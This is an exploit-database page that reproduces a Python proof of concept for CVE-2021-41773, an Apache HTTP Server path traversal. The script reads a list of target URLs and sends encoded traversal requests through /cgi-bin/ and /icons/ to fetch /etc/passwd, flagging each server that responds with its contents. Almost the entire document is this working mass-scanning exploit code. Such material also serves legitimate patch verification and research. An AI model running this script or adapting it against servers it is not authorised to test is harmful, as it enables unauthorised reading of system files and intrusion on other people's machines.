Exploit database

GH-e74163287f2eef137a9b8652fb8ccc76

zephrfish/cve-2021-41773-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-41773

118 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
zephrfish/cve-2021-41773-pocRevision ef67aeca502f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

full.py

Python · 2,725 bytes
#!/usr/bin/env python3
# CVE-2021-41773-PoC 
# ZephrFish 2021

import urllib3
import sys
import re
import requests

urllib3.disable_warnings()

# Colours
def prRed(skk): print("\033[91m {}\033[00m" .format(skk))
def prGreen(skk): print("\033[92m {}\033[00m" .format(skk))



def CVEPoC(urls):
    with open(urls.rstrip(), 'r') as f:
                for url in f:
                        regex=re.compile('^http://|^https://')
                        if re.match(regex, url):
                                try:
                                        normalresponse = requests.get(f'http://{url}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd', verify=False)
                                        normalhttps = requests.get(f'https://{url}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd', verify=False)
                                        #print(url, normalresponse.status_code)
                                        if 'root:*' in normalresponse.text:
                                                prRed('[+] Vulnerable: ' + url)
                                        elif 'root:*' in normalhttps.text:
                                                prRed('[+] Vulnerable: ' + url)

                                        else:
                                                prGreen('[-] Not Vulnerable: ' + url)
                                except: 
                                        pass
                        else:
                                HTTPSecure = "https://"+url.rstrip()
                                HTTPNot = "http://"+url.rstrip()
                                try:
                                        httpsresponse = requests.get(f'{HTTPSecure}/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd', verify=False, timeout=8)
                                        httpresponse = requests.get(f'{HTTPNot}/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd', verify=False, timeout=8)
                                        #print(url.rstrip(), httpsresponse.status_code, httpresponse.status_code)
                                        if 'root:*' in httpsresponse.text:
                                                prRed('[+] Vulnerable: ' + url)
                                        elif 'root:*' in httpsresponse.text:
                                                prRed('[+] Vulnerable: ' + url)
                                        else:
                                                prGreen('[-] Not Vulnerable: ' + url)

                                except:
                                        pass
            


if __name__ == '__main__':
        try:
                CVEPoC(sys.argv[1])
        except:
                print("Usage: python3 poc.py <urls.txt>")